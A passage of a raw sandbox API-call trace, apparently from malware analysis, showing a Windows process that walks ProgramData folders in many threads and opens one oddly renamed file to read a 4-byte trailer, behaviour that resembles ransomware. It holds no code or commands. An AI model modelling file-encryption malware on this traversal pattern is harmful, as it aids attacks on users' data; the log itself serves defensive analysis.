_Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*" [0136.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9aa40 [0136.140] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c850 [0136.141] wcscmp (_String1=".", _String2=".") returned 0 [0136.141] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.141] wcscmp (_String1="..", _String2=".") returned 1 [0136.141] wcscmp (_String1="..", _String2="..") returned 0 [0136.141] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 1 [0136.141] wcscmp (_String1="Replicate", _String2=".") returned 1 [0136.141] wcscmp (_String1="Replicate", _String2="..") returned 1 [0136.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9240 [0136.141] wcscpy (in: _Dest=0x1ced9240, _Source="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0" [0136.141] wcscat (in: _Dest=0x1ced9240, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\" [0136.141] wcscat (in: _Dest=0x1ced9240, _Source="Replicate" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate" [0151.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ced9240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d60 [0151.047] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 0 [0151.047] FindClose (in: hFindFile=0x1cd9c850 | out: hFindFile=0x1cd9c850) returned 1 [0151.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9aa40) returned 1 [0151.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ca30) returned 1 [0151.048] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c9d0) returned 1 Thread: id = 1987 os_tid = 0x11e8 [0136.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x106a00 [0136.143] wcscpy (in: _Dest=0x106a00, _Source="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" [0136.143] wcscat (in: _Dest=0x106a00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\" [0136.143] wcscat (in: _Dest=0x106a00, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*" [0136.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9acb0 [0136.144] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\*", lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c550 [0136.144] wcscmp (_String1=".", _String2=".") returned 0 [0136.144] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.144] wcscmp (_String1="..", _String2=".") returned 1 [0136.144] wcscmp (_String1="..", _String2="..") returned 0 [0136.144] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1 [0136.144] wcscmp (_String1="Patch", _String2=".") returned 1 [0136.144] wcscmp (_String1="Patch", _String2="..") returned 1 [0136.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x107540 [0136.145] wcscpy (in: _Dest=0x107540, _Source="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages" [0136.145] wcscat (in: _Dest=0x107540, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\" [0136.145] wcscat (in: _Dest=0x107540, _Source="Patch" | out: _Dest="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch" [0151.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x107540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d6c [0151.049] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1cd9acb0 | out: lpFindFileData=0x1cd9acb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29272c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x29272c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x29272c20, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0 [0151.049] FindClose (in: hFindFile=0x1cd9c550 | out: hFindFile=0x1cd9c550) returned 1 [0151.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9acb0) returned 1 [0151.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106a00) returned 1 [0151.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65ce0) returned 1 Thread: id = 1988 os_tid = 0x11ec [0136.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x108200 [0136.146] wcscpy (in: _Dest=0x108200, _Source="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" [0136.146] wcscat (in: _Dest=0x108200, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\" [0136.146] wcscat (in: _Dest=0x108200, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*" [0136.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9af20 [0136.147] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*", lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c130 [0136.147] wcscmp (_String1=".", _String2=".") returned 0 [0136.147] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.147] wcscmp (_String1="..", _String2=".") returned 1 [0136.147] wcscmp (_String1="..", _String2="..") returned 0 [0136.147] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1 [0136.147] wcscmp (_String1="Patch", _String2=".") returned 1 [0136.147] wcscmp (_String1="Patch", _String2="..") returned 1 [0136.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x107000 [0136.147] wcscpy (in: _Dest=0x107000, _Source="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" [0136.147] wcscat (in: _Dest=0x107000, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\" [0136.148] wcscat (in: _Dest=0x107000, _Source="Patch" | out: _Dest="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" [0151.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x107000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d70 [0151.052] FindNextFileW (in: hFindFile=0x1cd9c130, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0 [0151.052] FindClose (in: hFindFile=0x1cd9c130 | out: hFindFile=0x1cd9c130) returned 1 [0151.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9af20) returned 1 [0151.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108200) returned 1 [0151.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65d90) returned 1 Thread: id = 1989 os_tid = 0x11f0 [0136.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x1193e0 [0136.150] wcscpy (in: _Dest=0x1193e0, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0136.150] wcscat (in: _Dest=0x1193e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\" [0136.150] wcscat (in: _Dest=0x1193e0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*" [0136.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b190 [0136.150] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x1cd9b190 | out: lpFindFileData=0x1cd9b190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c6d0 [0136.151] wcscmp (_String1=".", _String2=".") returned 0 [0136.151] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd9b190 | out: lpFindFileData=0x1cd9b190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.151] wcscmp (_String1="..", _String2=".") returned 1 [0136.151] wcscmp (_String1="..", _String2="..") returned 0 [0136.151] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd9b190 | out: lpFindFileData=0x1cd9b190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0136.151] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1 [0136.151] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1 [0136.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1b799520 [0136.151] wcscpy (in: _Dest=0x1b799520, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0136.151] wcscat (in: _Dest=0x1b799520, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\" [0136.151] wcscat (in: _Dest=0x1b799520, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" [0151.054] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b799520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d78 [0151.054] FindNextFileW (in: hFindFile=0x1cd9c6d0, lpFindFileData=0x1cd9b190 | out: lpFindFileData=0x1cd9b190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0151.055] FindClose (in: hFindFile=0x1cd9c6d0 | out: hFindFile=0x1cd9c6d0) returned 1 [0151.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b190) returned 1 [0151.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1193e0) returned 1 [0151.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279a30) returned 1 Thread: id = 1990 os_tid = 0x11f4 [0136.153] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\665e97e12.2f9b60" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\665e97e12.2f9b60")) returned 0x20 [0136.153] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\665e97e12.2f9b60", dwFileAttributes=0x20) returned 1 [0136.153] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\665e97e12.2f9b60" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\665e97e12.2f9b60"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1d7c [0136.154] GetFileSizeEx (in: hFile=0x1d7c, lpFileSize=0x1f1df7c0 | out: lpFileSize=0x1f1df7c0*=914) returned 1 [0136.154] SetFilePointerEx (in: hFile=0x1d7c, liDistanceToMove=0x38e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.154] ReadFile (in: hFile=0x1d7c, lpBuffer=0x1f1df740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f1df788, lpOverlapped=0x0 | out: lpBuffer=0x1f1df740*, lpNumberOfBytesRead=0x1f1df788*=0x4, lpOverlapped=0x0) returned 1 [0136.155] FlushFileBuffers (hFile=0x1d7c) returned 1 [0138.536] CloseHandle (hObject=0x1d7c) returned 1 [0138.536] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\665e97e12.2f9b60", dwFileAttributes=0x20) returned 1 [0138.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279670) returned 1 Thread: id = 1991 os_tid = 0x11f8 [0136.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x118bc0 [0136.158] wcscpy (in: _Dest=0x118bc0, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0136.158] wcscat (in: _Dest=0x118bc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\" [0136.158] wcscat (in: _Dest=0x118bc0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*" [0136.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b400 [0136.158] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\*", lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c7f0 [0136.159] wcscmp (_String1=".", _String2=".") returned 0 [0136.159] FindNextFileW (in: hFindFile=0x1cd9c7f0, lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.159] wcscmp (_String1="..", _String2=".") returned 1 [0136.160] wcscmp (_String1="..", _String2="..") returned 0 [0136.161] FindNextFileW (in: hFindFile=0x1cd9c7f0, lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfac0a1e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfac0a1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0136.161] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2=".") returned 1 [0136.161] wcscmp (_String1="vcRuntimeAdditional_amd64", _String2="..") returned 1 [0136.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xec) returned 0x1b772eb0 [0136.161] wcscpy (in: _Dest=0x1b772eb0, _Source="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages" [0136.161] wcscat (in: _Dest=0x1b772eb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\") returned="C:\\Users\\All Users\\Package 